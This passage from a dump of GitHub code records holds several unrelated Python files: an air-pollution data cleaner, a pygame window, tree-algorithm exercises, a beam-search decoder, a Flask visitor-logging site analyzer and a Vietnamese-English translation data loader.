axis = 1)\r\n    df_output[\"Datetime\"] = pd.to_datetime(df_output[\"Datetime\"], format = \"%Y%m%d-%I:%M:%S\")\r\n    \r\n    #Creating new columns \"Area\" based on \"Lokasi\" for consistency\r\n    #The area and state allocated are based on the categorization of other dataframes\r\n    #the dictionary is organized in the following form: Lokasi: Area\r\n    #Note that there are subtle differences in the input Lokasi values so the directory from previous data cleaning python doc is not applicable\r\n    df_output[\"Lokasi\"] = df_output[\"Lokasi\"].astype(str)\r\n    df_output[\"Lokasi\"] = df_output[\"Lokasi\"].str.rstrip()\r\n    area_directory = {\"Sek. Men. Pasir Gudang 2, Pasir Gudang\": \"Pasir Gudang\",\r\n                      \"Institut Perguruan Malaysia, Temenggong Ibrahim, Larkin, Johor Bharu\": \"Lakrin Lama\",\r\n                      \"Sek. Men. Teknik Muar, Muar, Johor\": \"Muar\",\r\n                      \"SMA, Bandar Penawar, Kota Tinggi\": \"Kota Tinggi\",\r\n                      \"Sek. Keb. Bakar Arang, Sungai Petani\": \"Bakar Arang, Sg. Petani\",\r\n                      \"Komplek Sukan Langkawi, Kedah\": \"Langkawi\",\r\n                      \"Sek. Men. Agama Mergong, Alor Setar\": \"Alor Setar\",\r\n                      \"Sek. Men. Keb. Tanjung Chat, Kota Bahru\": \"SMK Tanjung Chat, Kota Bharu\",\r\n                      \"SMK. Tanah Merah\": \"Tanah Merah\",\r\n                      \"Sek. Men. Keb. Bukit Rambai\": \"Bukit Rambai\",\r\n                      \"Sek. Men. Tinggi Melaka, Melaka\": \"Bandaraya Melaka\",\r\n                      \"Tmn. Semarak (Phase II), Nilai\": \"Nilai\",\r\n                      \"Sek. Men. Teknik Tuanku Jaafar, Ampangan, Seremban\": \"Seremban\",\r\n                      \"Pusat Sumber Pendidikan N.S. Port Dickson\": \"Port Dickson\",\r\n                      \"Pej. Kajicuaca Batu Embun, Jerantut\": \"Jerantut\",\r\n                      \"Sek. Keb. Indera Mahkota, Kuantan\": \"Indera Mahkota, Kuantan\",\r\n                      \"Sek. Keb. Balok Baru, Kuantan\": \"Balok Baru, Kuantan\",\r\n                      \"Sek. Men. Jalan Tasek, Ipoh\": \"Jalan Tasek, Ipoh\",\r\n                      \"Sek. Men. Keb. Air Puteh, Taiping\": \"Kg. Air Putih, Taiping\",\r\n                      \"Pejabat Pentadbiran Daerah Manjung, Perak\": \"Seri Manjung\",\r\n                      \"Universiti Pendidikan Sultan Idris, Tanjung Malim\": \"Tanjung Malim\",\r\n                      \"Sek. Men. Pegoh, Ipoh, Perak\": \"S K Jalan Pegoh, Ipoh\",\r\n                      \"Institut Latihan Perindustrian (ILP) Kangar\": \"Kangar\",\r\n                      \"Sek. Keb. Cederawasih, Taman Inderawasih, Perai\": \"Perai\",\r\n                      \"Sek. Keb. Seberang Jaya II, Perai\": \"Seberang Jaya 2, Perai\",\r\n                      \"Universiti Sains Malaysia, Pulau Pinang\": \"USM\",\r\n                      \"Sek. Men. Keb Putatan, Tg Aru, Kota Kinabalu\": \"Kota Kinabalu\",\r\n                      \"Pejabat JKR Tawau, Sabah\": \"Tawau\",\r\n                      \"Sek. Men. Keb Gunsanad, Keningau\": \"Keningau\",\r\n                      \"Pejabat JKR Sandakan, Sandakan\": \"Sandakan\",\r\n                      \"Medical Store, Kuching\": \"Kuching\",\r\n                      \"Ibu Pejabat Polis Sibu, Sibu\": \"Sibu\",\r\n                      \"Balai Polis Pusat Bintulu\": \"Bintulu\",\r\n                      \"Sek. Men. Dato Permaisuri Miri\": \"Miri\",\r\n                      \"Balai Polis Pusat Sarikei\": \"Sarikei\",\r\n                      \"Dewan Suarah, Limbang\": \"Limbang\",\r\n                      \"Pejabat Daerah Samarahan, Kota Samarahan\": \"Samarahan\",\r\n                      \"Kompleks Sukan, Sri Aman\": \"Sri Aman\",\r\n                      \"Stadium Tertutup, Kapit\": \"Kapit\",\r\n                      \"ILP MIRI\": \"ILP Miri\",\r\n                      \"Sek. Men. (P) Raja Zarina, Kelang\": \"Pelabuhan Kelang\",\r\n                      \"Sek. Keb. Bandar Utama, Petaling Jaya\": \"Petaling Jaya\",\r\n                      \"Sek. Keb. TTDI Jaya, Shah Alam\": \"Shah Alam\",\r\n                      \"Sekolah Menengah Sains, Kuala Selangor\": \"Kuala Selangor\",\r\n                      \"Kolej MARA, Banting\": \"Banting\", \r\n                      \"Sek. Ren. Keb. Bukit Kuang, Teluk Kalung, Kemaman\": \"Kemaman\",\r\n                      \"Kuarters TNB, Paka-Kertih\": \"Paka\",\r\n                      \"Sek. Keb. Chabang Tiga, Kuala Terengganu\": \"Kuala Terengganu\",\r\n                      \"Taman Perumahan Majlis Perbandaran Labuan\": \"Labuan\",\r\n                      \"Sek. Keb. Putrajaya 8(2), Jln P8/E2, Presint 8, Putrajaya\": \"Putrajaya\",\r\n                      \"Sek.Men.Keb.Seri Permaisuri, Cheras\": \"Cheras,Kuala Lumpur\",\r\n                      \"Sek. Keb. Batu Muda, Batu Muda, Kuala Lumpur\": \"Batu Muda,Kuala Lumpur\"}\r\n    \r\n    #Create column \"Area\"\r\n    df_output[\"Area\"] = df_output[\"Lokasi\"].map(area_directory)\r\n    \r\n    #Create column \"State\"\r\n    #Since there is very little tokens, mapping a dictionary will be faster\r\n    state_directory = {\"JOHOR\": \"Johor\",\r\n                       \"KEDAH\": \"Kedah\",\r\n                       \"KELANTAN\": \"Kelantan\",\r\n                       \"MELAKA\": \"Melaka\",\r\n                       \"N.SEMBILAN\": \"Negeri Sembilan\",\r\n                       \"PAHANG\": \"Pahang\",\r\n                       \"PERAK\": \"Perak\",\r\n                       \"PERLIS\": \"Perlis\",\r\n                       \"PULAU PINANG\": \"Pulau Pinang\",\r\n                       \"SABAH\": \"Sabah\",\r\n                       \"SARAWAK\": \"Sarawak\",\r\n                       \"SELANGOR\": \"Selangor\",\r\n                       \"TERENGGANU\": \"Terengganu\",\r\n                       \"WILAYAH PERSEKUTUAN\": \"Wilayah Persekutuan\"}\r\n    df_output[\"State\"] = df_output[\"Negeri\"].map(state_directory)\r\n\r\n    df_output = df_output.drop(columns = [\"Date\", \"Time\", \"Lokasi\", \"Negeri\"])    \r\n\r\n    #Checking the basic information about the final dataframe (optional)\r\n    #print(df_output.info())\r\n\r\n    #Export output to new csv file (edit path and name as needed)\r\n    df_extract.to_csv(r\"file_path\\file_name.csv\")\r\n    return df_output\r\n    \r\ndef main():\r\n    url = \"http://www.data.gov.my/data/ms_MY/dataset/1b22566f-38bf-4b5d-95e7-655fbd9fa36a/resource/fd187e4d-a623-46e4-910b-bd2016a1c5c0/download/jasipu2016.xlsx\"\r\n    file_name = \"API_2016.xlsx\"\r\n    download_file(url, file_name)\r\n    clean_data(file_name)\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","repo_name":"XD-Ooi/MY-Climate-Observatory","sub_path":"Air-Pollution-Index/Data Cleansing/20160101-20161231.py","file_name":"20160101-20161231.py","file_ext":"py","file_size_in_byte":8348,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"8345203240","text":"import pygame\nfrom pygame.locals import (\n    K_UP,\n    K_DOWN,\n    K_LEFT,\n    K_RIGHT,\n    K_ESCAPE,\n    KEYDOWN,\n    QUIT\n)\n\npygame.init()\n\nSCREEN_WIDTH = 800\nSCREEN_HEIGHT = 600\nscreen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\nscreen.fill((255, 255, 255))\nsurf = pygame.Surface((50, 50))\nsurf.fill((0, 0, 0 ))\nrect = surf.get_rect()\n\nsurf_center = (\n    (SCREEN_WIDTH-surf.get_width())/2,\n    (SCREEN_HEIGHT-surf.get_height())/2\n)\n\nscreen.blit(surf, surf_center)\n\npygame.display.flip()\nrunning = True\n\n\nwhile running:\n\n    for event in pygame.event.get():\n\n        if event.type == KEYDOWN:\n\n            if event.key == K_ESCAPE:\n                running = False\n\n        elif event.type == QUIT:\n            running = False","repo_name":"yali-show/Games","sub_path":"dino_game/dinos.py","file_name":"dinos.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"39411854531","text":"__author__ = 'Daoyuan'\nfrom BaseSolution import  *\nfrom TreeNode import *\nclass SameTree(BaseSolution):\n\n    def __init__(self):\n        BaseSolution.__init__(self)\n\n    def solution(self, p, q):\n        return self.serialize(p) == self.serialize(q)\n\n    def serialize(self, root):\n        ret = []\n        queue = [root]\n        while len(queue) > 0:\n            top= queue.pop(0)\n            if top is None:\n                ret += ['#',]\n                continue\n            else:\n                ret += [str(top.val),]\n            queue.append(top.left)\n            queue.append(top.right)\n        return \"{\"+ \",\".join(ret) + \"}\"","repo_name":"caunion/leetcode","sub_path":"solutions/SameTree.py","file_name":"SameTree.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"70129752650","text":"def get_inorder(node):\n    left, right = node[1], node[2]\n    if left:\n        get_inorder(tree[left])\n    result.append(node[0])\n    if right:\n        get_inorder(tree[right])\n\n\nfor t in range(1, 11):\n    n = int(input())\n    tree = [['', 0, 0] for _ in range(n+1)]\n    for _ in range(n):\n        line = input().split()\n        node = int(line[0])\n        for idx, data in enumerate(line[1:]):\n            if data.isdecimal():\n                data = int(data)\n            tree[node][idx] = data\n    result = []\n    get_inorder(tree[1])\n    print('#%s %s' % (t, ''.join(result)))\n","repo_name":"kylekim2123/Algorithm-with-Python","sub_path":"lecture/0405/중위순회.py","file_name":"중위순회.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17103805668","text":"import tensorflow as tf\nimport numpy as np\nimport utils\n\n\nclass Hypothesis(object):\n    def __init__(self, tokens, log_probs, state, attn_dists, dec_states=None, tgt_2=None):\n        self.tokens = tokens\n        self.log_probs = log_probs\n        self.state = state\n        self.attn_dists = attn_dists\n        self.tgt_2 = tgt_2\n        self.dec_states = dec_states\n\n    def extend(self, token, log_prob, state, attn_dist, dec_state):\n        if dec_state is not None:\n            if self.dec_states is not None:\n                dec_state = np.vstack([self.dec_states, dec_state])\n        else:\n            dec_state = self.dec_states\n\n        return Hypothesis(tokens=self.tokens + [token],\n                          log_probs=self.log_probs + [log_prob],\n                          state=state,\n                          attn_dists=self.attn_dists + [attn_dist],\n                          dec_states=dec_state,\n                          tgt_2=self.tgt_2)\n\n    @property\n    def latest_token(self):\n        return self.tokens[-1]\n\n    @property\n    def log_prob(self):\n        # the log probability of the hypothesis so far is the sum of the log probabilities of the tokens so far\n        return sum(self.log_probs)\n\n    @property\n    def avg_log_prob(self):\n        # normalize log probability by number of tokens (otherwise longer sequences always have lower probability)\n        return self.log_prob / len(self.tokens)\n\n\ndef beam_search_hyps(sess, model, vocab, batch, dec_in_state, enc_states, dec_2_dec_states, dec_2, max_dec_steps, arm, num_tgt_2_hyps=0):\n    # Initialize beam_size-many hyptheses\n    start_tok = utils.ARG_START_DECODING if arm == 1 else utils.KP_START_DECODING\n    stop_tok = utils.ARG_STOP_DECODING if arm == 1 else utils.KP_STOP_DECODING\n\n    hyps = [Hypothesis(tokens=[vocab.word2id(start_tok)], log_probs=[0.0], state=dec_in_state[i], attn_dists=[],\n                       tgt_2=dec_2[i], dec_states=dec_2_dec_states[i]) for i in range(model.hps.beam_size)]\n    results = []  # this will contain finished hypotheses (those that have emitted the [STOP] token)\n    steps = 0\n    while steps < max_dec_steps and len(results) < model.hps.beam_size:\n        latest_tokens = [h.latest_token for h in hyps]  # latest token produced by each hypothesis\n\n        states = [h.state for h in hyps]  # list of current decoder states of the hypotheses\n\n        if arm == 1 and hyps[0].dec_states is not None:\n            dec_2_dec_states = (np.stack([h.dec_states[0] for h in hyps]), np.stack([h.dec_states[1] for h in hyps]))\n\n        # Run one step of the decoder to get the new info\n        (topk_ids, topk_log_probs, new_states, attn_dists, dec_states) = model.decode_onestep(sess=sess,\n                                                                                              batch=batch,\n                                                                                              latest_tokens=latest_tokens,\n                                                                                              enc_states=enc_states,\n                                                                                              kp_dec_states=dec_2_dec_states,\n                                                                                              dec_init_states=states,\n                                                                                              arm=arm,\n                                                                                              first_step=len(hyps[0].tokens) == 1)\n        # Extend each hypothesis and collect them all in all_hyps\n        all_hyps = []\n        # On the first step, we only had one original hypothesis (the initial hypothesis). On subsequent steps, all original hypotheses are distinct.\n        if steps == 0 and num_tgt_2_hyps == 0:\n            num_orig_hyps = 1\n        elif steps == 0 and num_tgt_2_hyps > 0:\n            num_orig_hyps = num_tgt_2_hyps\n        else:\n            num_orig_hyps = len(hyps)\n\n        for i in range(num_orig_hyps):\n            h, new_state, attn_dist, dec_state = hyps[i], new_states[i], attn_dists[i], dec_states[i] # take the ith hypothesis and new decoder state info\n            for j in range(model.hps.beam_size * 2):  # for each of the top 2*beam_size hyps:\n                # Extend the ith hypothesis with the jth option\n                new_hyp = h.extend(token=topk_ids[i, j],\n                                   log_prob=topk_log_probs[i, j],\n                                   state=new_state,\n                                   attn_dist=attn_dist,\n                                   dec_state=dec_state)\n                all_hyps.append(new_hyp)\n\n        # Filter and collect any hypotheses that have produced the end token.\n        hyps = []\n        for h in sort_hyps(all_hyps):\n            if h.latest_token == vocab.word2id(stop_tok):\n                if steps >= model.hps.min_dec_steps:\n                    results.append(h)\n            else:\n                hyps.append(h)\n            if len(hyps) == model.hps.beam_size or len(results) == model.hps.beam_size:\n                break\n        steps += 1\n    return hyps, results\n\n\ndef run_beam_search(sess, model, vocab, batch):\n    # Run the encoder to get the encoder hidden states and decoder initial state\n    enc_states, dec_in_state = model.run_encoder(sess, batch)\n    dec_in_state = [dec_in_state] * model.hps.beam_size\n    dec_2_dec_states = [None] * model.hps.beam_size\n    dec_2 = np.array([None] * model.hps.beam_size)\n\n    tgt_2_hyps, tgt_2_results = beam_search_hyps(sess, model, vocab, batch, dec_in_state, enc_states, dec_2_dec_states, dec_2,\n                                                 model.hps.kp_max_dec_steps, arm=2)\n\n    if len(tgt_2_results) == 0:\n        tgt_2_results = tgt_2_hyps\n    dec_2[range(len(tgt_2_results))] = range(len(tgt_2_results))\n    num_tgt_2_hyps = len(tgt_2_results)\n\n    for i, h in enumerate(tgt_2_results):\n        dec_in_state[i] = h.state\n\n    if model.hps.attention == \"dual\":\n        dec_2_padded_states = np.zeros((model.hps.beam_size, model.hps.max_dec_2_steps, model.hps.hidden_dim), dtype=np.float32)\n        dec_2_padding_mask = np.zeros((model.hps.beam_size, model.hps.max_dec_2_steps), dtype=np.float32)\n        for i, h in enumerate(tgt_2_results):\n            for j in range(len(h.dec_states)):\n                dec_2_padded_states[i, j:] = h.dec_states[j]\n                dec_2_padding_mask[i, j] = 1\n        dec_2_dec_states = zip(dec_2_padded_states, dec_2_padding_mask)\n\n    tgt_1_hyps, tgt_1_results = beam_search_hyps(sess, model, vocab, batch, dec_in_state, enc_states, dec_2_dec_states, dec_2,\n                                                 model.hps.arg_max_dec_steps, arm=1, num_tgt_2_hyps=num_tgt_2_hyps)\n    # At this point, either we've got beam_size results, or we've reached maximum decoder steps\n    if len(tgt_1_results) == 0:\n        tgt_1_results = tgt_1_hyps\n\n    # Sort hypotheses by average log probability\n    tgt_1_hyps_sorted = sort_hyps(tgt_1_results)\n    best_tgt_1 = tgt_1_hyps_sorted[0]\n    best_tgt_2 = tgt_2_results[best_tgt_1.tgt_2]\n\n    return best_tgt_1, best_tgt_2\n\n\ndef sort_hyps(hyps):\n    return sorted(hyps, key=lambda h: h.avg_log_prob, reverse=True)","repo_name":"XinyuHua/neural-argument-generation","sub_path":"src/beam_search.py","file_name":"beam_search.py","file_ext":"py","file_size_in_byte":7235,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"16"}
+{"seq_id":"10691579854","text":"from flask import Flask, request, render_template, flash, redirect\nfrom werkzeug.urls import url_parse\nfrom app.forms import LoginForm\nfrom flask_login import current_user, login_user, logout_user, login_required\nfrom app.models import Account, Connection\nimport os\nfrom datetime import date\nfrom app import app, db\nimport requests\nimport json\n\n@app.route('/', methods=['GET','POST'])\ndef index():\n\n    # if a regular post is made to the index page then just log the ip of the\n    # request\n    if(request.method == 'POST'):\n\n        potentIPs = request.headers.getlist(\"X-Forwarded-For\")[0]\n\n        potentIPList = potentIPs.split(',')\n\n        visitorIP = potentIPList[len(potentIPList)-1]\n\n        # get the other information for the ip\n        res = requests.get('http://demo.ip-api.com/json/' + visitorIP + \n                '?fields=66842623&lang=en').json() \n\n        print(res)\n\n        visitorCon = Connection(ipAddress=visitorIP, \n                dateVisited=date.today(),\n                country=res['country'],\n                state=res['regionName'],\n                city=res['city'],\n                lat=res['lat'],\n                lon=res['lon'],\n                isp=res['isp'],\n                mobile=res['mobile'],\n                proxy=res['proxy'])\n\n        db.session.add(visitorCon)\n        db.session.commit()\n\n        return \"\"\n    \n    return render_template('index.html')\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n\n    if(current_user.is_authenticated):\n        return redirect('/home')\n\n    form = LoginForm() \n\n    if(request.method == 'POST'):\n        # checks to see if the fields in the form \n        # have values, if so then we successfully login\n        # if not then we return the form to the user again\n        if(form.validate_on_submit()):\n            user = Account.query.filter_by(username=form.username.data).first()\n            if(user is None or not user.get_password(form.password.data)):\n                flash('Invalid username or password')\n                return redirect('/login')\n            login_user(user, remember=form.rememberMe.data)\n            # redirects to the page the user was trying to get to\n            # if they have to log in before they view it\n            next_page = request.args.get('next')\n            if not next_page or url_parse(next_page).netloc != '':\n                next_page = '/home'\n            flash('Login Successful for user {}, rememberMe={}'.format(\n                form.username.data, form.rememberMe.data))\n            return redirect(next_page)\n\n    # if GET request just render the login form\n    return render_template('login.html', form=form)\n\n@app.route('/logout')\ndef logout():\n    logout_user()\n    return redirect('/')\n\n@app.route('/home', methods=['GET'])\n@login_required\ndef home():\n    return render_template('home.html')\n\n@app.route('/data', methods=['GET'])\n@login_required\ndef data():\n    # this url will be used to get data from the database\n    # through a GET request\n\n    allConns = Connection.query.all()\n\n    allConnsDict = {}\n\n    for connection in allConns:\n        connDict = {\n            \"id\" : connection.id,\n            \"dateVisited\" : connection.dateVisited.__str__(),\n            \"ipAddress\" : connection.ipAddress,\n            \"country\" : connection.country,\n            \"state\" : connection.state,\n            \"city\" : connection.city,\n            \"lat\" : str(connection.lat),\n            \"lon\" : str(connection.lon),\n            \"isp\" : connection.isp,\n            \"mobile\" : connection.mobile,\n            \"proxy\" : connection.proxy\n        }\n\n        allConnsDict[\"Connection \" + str(connection.id)] = connDict\n\n    allConnsJSON = json.dumps(allConnsDict) \n\n    return allConnsJSON\n","repo_name":"boydjc/SiteAnalyzer","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":3720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16551780014","text":"import pandas as pd\nimport numpy as np\nimport unicodedata\nimport string\nimport re\nimport random\nimport pandas as pd\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.utils.data import Dataset\nfrom collections import Counter\nimport pickle\nimport random\nimport pdb\nfrom torch.utils.data import DataLoader\nimport global_variables\nimport os\n\nimport unicodedata\nimport string\nimport re\nimport random\n\nfrom torch import optim\nimport time\n\n\"\"\"\nThis .py file contains the following classes/functions:\n\nClasses:\n\tVietnamese(df, val = False)\n\tLang(name, minimum_count = 5)\n\nFunctions:\n\tnormalizeEnString(s)\n\tnormalizeViString(s)\n\tread_dataset(file, lang = None)\n\tsplit(df)\n\ttoken2index_dataset(df,en_lang,vi_lang)\n\ttrain_val_load(MAX_LEN, old_lang_obj, path)\n\tvocab_collate_func(batch)\n\tvocab_collate_func_val(batch)\n\n\"\"\"\n\nSOS_token = global_variables.SOS_token\nEOS_token = global_variables.EOS_token\nUNK_IDX = global_variables.UNK_IDX\nPAD_IDX = global_variables.PAD_IDX\n\n# remove punctuation\nother_punctuations = string.punctuation.replace('!','').replace('.','').replace('?','').replace(',','').replace('-','')\n\n'''\nregex: https://www.regular-expressions.info/tutorial.html\n'''\n\nclass Vietnamese(Dataset):\n\t'''\n\tClass that represents a train/validation/test dataset that's readable for PyTorch\n\tNote that this class inherits torch.utils.data.Dataset\n\t'''\n\tdef __init__(self, df, val = False):\n\t\tself.df = df\n\t\tself.val = val\n\n\tdef __len__(self):\n\t\t# return number of pairs, triggered when you call len(dataset)\n\t\treturn len(self.df)\n\n\tdef __getitem__(self, idx):\n\t\t# trigged when you call dataset[i]\n\t\tenglish = self.df.iloc[idx,:]['en_idized']\n\t\tviet = self.df.iloc[idx,:]['vi_idized']\n\t\ten_len = self.df.iloc[idx,:]['en_len']\n\t\tvi_len = self.df.iloc[idx,:]['vi_len']\n\t\tif self.val:\n\t\t\ten_data = self.df.iloc[idx,:]['en_data'].lower()\n\t\t\treturn [viet,english,vi_len,en_len,en_data]\n\t\telse:\n\t\t\treturn [viet,english,vi_len,en_len]\n\ndef normalizeEnString(s):\n\t'''\n\tformat/clean english string\n\t'''\n\t# remove apostrophe, quote html\n\ts = s.replace(\"&apos\", \"\").replace(\"&quot\",\"\")\n\t# remove anything thats not alphanumeric and punctuation\n\ts = re.sub(r\"[^a-zA-Z,.!?0-9]+\", r\" \", s)\n\t# remove spacing\n\ts = re.sub( '\\s+', ' ', s).strip()\n\treturn s\n\n\ndef normalizeViString(s):\n\t'''\n\tformat/clean viet string\n\t'''\n\t# remove apostrophe, quote html\n\ts = s.replace(\"&apos\", \"\").replace(\"&quot\",\"\").replace(\"_\",\"\").replace('-','')\n\t# remove punctuation\n\ts = re.sub(r'[{}]'.format(other_punctuations), '', s)\n\t# remove spacing\n\ts = re.sub( '\\s+', ' ', s).strip()\n\treturn s\n\n\ndef read_dataset(file, lang = None):\n\t'''\n\tread dataset as pandas df and normalize each sentence\n\t'''\n\tf = open(file)\n\tlist_l = []\n\tfor line in f:\n\t\tline = normalizeEnString(line) if lang == 'en' else normalizeViString(line)\n\t\tlist_l.append(line.strip())\n\tdf = pd.DataFrame()\n\tdf['data'] = list_l\n\treturn df\n\n\nclass Lang:\n\t'''\n\trepresent each word in language as one-hot vector.\n\tname: name of language\n\tword2index: get index from word (word --> index)\n\tword2count: get counts for each word in language\n\tindex2word: unique index per word (index --> word)\n\tn_words: number of unique words in language\n\tminimum_count: threshold for word count to be added in language\n\t'''\n\tdef __init__(self, name, minimum_count = 5):\n\t\tself.name = name\n\t\tself.word2index = {}\n\t\tself.word2count = {}\n\t\tself.index2word = [\"<sos>\",\"<eos>\",\"<unk>\",\"<pad>\"]\n\t\tself.n_words = 4  # Count SOS, EOS, PAD, UNK tokens\n\t\tself.minimum_count = minimum_count\n\n\tdef addSentence(self, sentence):\n\t\t'''\n\t\tadd sentence to lang obj\n\t\t'''\n\t\tfor word in sentence.split(' '):\n\t\t\tself.addWord(word.lower())\n\n\n\tdef addWord(self, word):\n\t\t'''\n\t\tadd word to language obj and update data structures\n\t\t'''\n\t\t# update word count\n\t\tif word not in self.word2count:\n\t\t\tself.word2count[word] = 1\n\t\telse:\n\t\t\tself.word2count[word] += 1\n\t\t# check if the word count is greater than the minimum count\n\t\tif self.word2count[word] >= self.minimum_count:\n\t\t\tif word not in self.word2index:\n\t\t\t\tself.word2index[word] = self.n_words\n\t\t\t\tself.index2word.append(word)\n\t\t\t\tself.n_words += 1\n\ndef split(df):\n\t'''\n\tcreate tokenized col for source and target lang\n\t'''\n\tdf['en_tokenized'] = df[\"en_data\"].apply(lambda x:x.lower().split( ))\n\tdf['vi_tokenized'] = df['vi_data'].apply(lambda x:x.lower().split( ))\n\treturn df\n\n\n\ndef token2index_dataset(df,en_lang,vi_lang):\n\t'''\n\tcreate indicized column for pandas df\n\t'''\n\tfor lan in ['en','vi']:\n\t\tindices_data = []\n\t\tif lan=='en':\n\t\t\tlang_obj = en_lang\n\t\telse:\n\t\t\tlang_obj = vi_lang\n\t\tfor tokens in df[lan+'_tokenized']:\n\t\t\tindex_list = [lang_obj.word2index[token] if token in lang_obj.word2index else UNK_IDX for token in tokens]\n\t\t\tindex_list.append(EOS_token)\n\t\t\tindices_data.append(index_list)\n\t\tdf[lan+'_idized'] = indices_data\n\treturn df\n\ndef train_val_load(old_lang_obj, path):\n\t'''\n\tload source and target language objects\n\tload pandas df with len, tokenize, indicized cols for src/trg\n\t'''\n\n\t# load en and normalize\n\ten_train = read_dataset(path+\"/train.tok.en\", lang = 'en')\n\ten_val = read_dataset(path+\"/dev.tok.en\", lang = 'en')\n\ten_test = read_dataset(path+\"/test.tok.en\", lang = 'en')\n\n\t# load vn and normalize\n\tvi_train = read_dataset(path+\"/train.tok.vi\", lang = 'vi')\n\tvi_val = read_dataset(path+\"/dev.tok.vi\", lang = 'vi')\n\tvi_test = read_dataset(path+\"/test.tok.vi\", lang = 'vi')\n\n\t# add sentence column for train\n\ttrain = pd.DataFrame()\n\ttrain['en_data'] = en_train['data']\n\ttrain['vi_data'] = vi_train['data']\n\n\t# add sentence column for val\n\tval = pd.DataFrame()\n\tval['en_data'] = en_val['data']\n\tval['vi_data'] = vi_val['data']\n\n\t# add sentence column for test\n\ttest = pd.DataFrame()\n\ttest['en_data'] = en_test['data']\n\ttest['vi_data'] = vi_test['data']\n\n\tif old_lang_obj:\n\t\twith open(old_lang_obj,'rb') as f:\n\t\t\ten_lang = pickle.load(f)\n\t\t\tvi_lang = pickle.load(f)\n\telse:\n\t\ten_lang = Lang(\"en\")\n\t\tfor ex in train['en_data']:\n\t\t\ten_lang.addSentence(ex)\n\n\t\tvi_lang = Lang(\"vi\")\n\t\tfor ex in train['vi_data']:\n\t\t\tvi_lang.addSentence(ex)\n\n\t\twith open(\"lang_obj.pkl\",'wb') as f:\n\t\t\tpickle.dump(en_lang, f)\n\t\t\tpickle.dump(vi_lang, f)\n\n\t# get tokenized columns\n\ttrain = split(train)\n\tval = split(val)\n\ttest = split(test)\n\n\t# get indicized columns\n\ttrain = token2index_dataset(train,en_lang,vi_lang)\n\tval = token2index_dataset(val,en_lang,vi_lang)\n\ttest = token2index_dataset(test,en_lang,vi_lang)\n\n\t# get sentence lengths for train\n\ttrain['en_len'] = train['en_idized'].apply(lambda x: len(x))\n\ttrain['vi_len'] = train['vi_idized'].apply(lambda x:len(x))\n\n\t# get sentence lengths for val\n\tval['en_len'] = val['en_idized'].apply(lambda x: len(x))\n\tval['vi_len'] = val['vi_idized'].apply(lambda x: len(x))\n\n\t# get sentence lengths for test\n\ttest['en_len'] = test['en_idized'].apply(lambda x: len(x))\n\ttest['vi_len'] = test['vi_idized'].apply(lambda x: len(x))\n\n#     only sentences that have 2 or more words\n#     train = train[np.logical_and(train['en_len']>=2,train['vi_len']>=2)]\n#     train = train[train['vi_len']<=MAX_LEN]\n\n#     val = val[np.logical_and(val['en_len']>=2,val['vi_len']>=2)]\n#     val = val[val['vi_len']<=MAX_LEN]\n\treturn train, val, test, en_lang, vi_lang\n\ndef vocab_collate_func(batch, MAX_LEN):\n\t'''\n\tCustomized function for DataLoader that dynamically pads the batch so that all\n\tdata have the same length\n\t'''\n\n\ten_data, vi_data, en_len, vi_len = [], [], [], []\n\tfor datum in batch:\n\t\t# add sent len for each sent in batch\n\t\ten_len.append(datum[3])\n\t\tvi_len.append(datum[2])\n\n\t# get max len and source/target len\n\tmax_batch_length_en = max(en_len)\n\tmax_batch_length_vi = max(vi_len)\n\n\tMAX_LEN_VI = np.min([ np.max(vi_len), MAX_LEN])\n\tMAX_LEN_EN = np.min([np.max(en_len), MAX_LEN])\n\n\t# clip the length to the max length\n\tvi_len = np.clip(vi_len, a_min = None, a_max = MAX_LEN_VI)\n\ten_len = np.clip(en_len, a_min = None, a_max = MAX_LEN_EN)\n\n\t# padding\n\tfor datum in batch:\n\t\tif datum[2]>MAX_LEN_VI:\n\t\t\tpadded_vec_s1 = np.array(datum[0])[:MAX_LEN_VI]\n\t\telse:\n\t\t\tpadded_vec_s1 = np.pad(np.array(datum[0]), pad_width=((0,MAX_LEN_VI - datum[2])), mode=\"constant\", constant_values=PAD_IDX)\n\t\tif datum[3]>MAX_LEN_EN:\n\t\t\tpadded_vec_s2 = np.array(datum[1])[:MAX_LEN_EN]\n\t\telse:\n\t\t\tpadded_vec_s2 = np.pad(np.array(datum[1]), pad_width=((0,MAX_LEN_EN - datum[3])), mode=\"constant\", constant_values=PAD_IDX)\n\t\ten_data.append(padded_vec_s2)\n\t\tvi_data.append(padded_vec_s1)\n\tvi_data = np.array(vi_data)\n\ten_data = np.array(en_data)\n\tvi_len = np.array(vi_len)\n\ten_len = np.array(en_len)\n\n\tvi_len[vi_len>MAX_LEN_VI] = MAX_LEN_VI\n\ten_len[en_len>MAX_LEN_EN] = MAX_LEN_EN\n\n\treturn [torch.from_numpy(vi_data), torch.from_numpy(en_data), torch.from_numpy(vi_len), torch.from_numpy(en_len)]\n\ndef vocab_collate_func_val(batch):\n\t'''\n\tCustomized function for DataLoader that dynamically pads the batch so that all data have the same length (for validation)\n\t'''\n\tvi = torch.from_numpy(np.array(batch[0][0])).unsqueeze(0)\n\ten = torch.from_numpy(np.array(batch[0][1])).unsqueeze(0)\n\tvi_len = torch.from_numpy(np.array(batch[0][2])).unsqueeze(0)\n\ten_len = torch.from_numpy(np.array(batch[0][3])).unsqueeze(0)\n\ten_data = batch[0][4]\n\treturn [vi, en, vi_len, en_len, 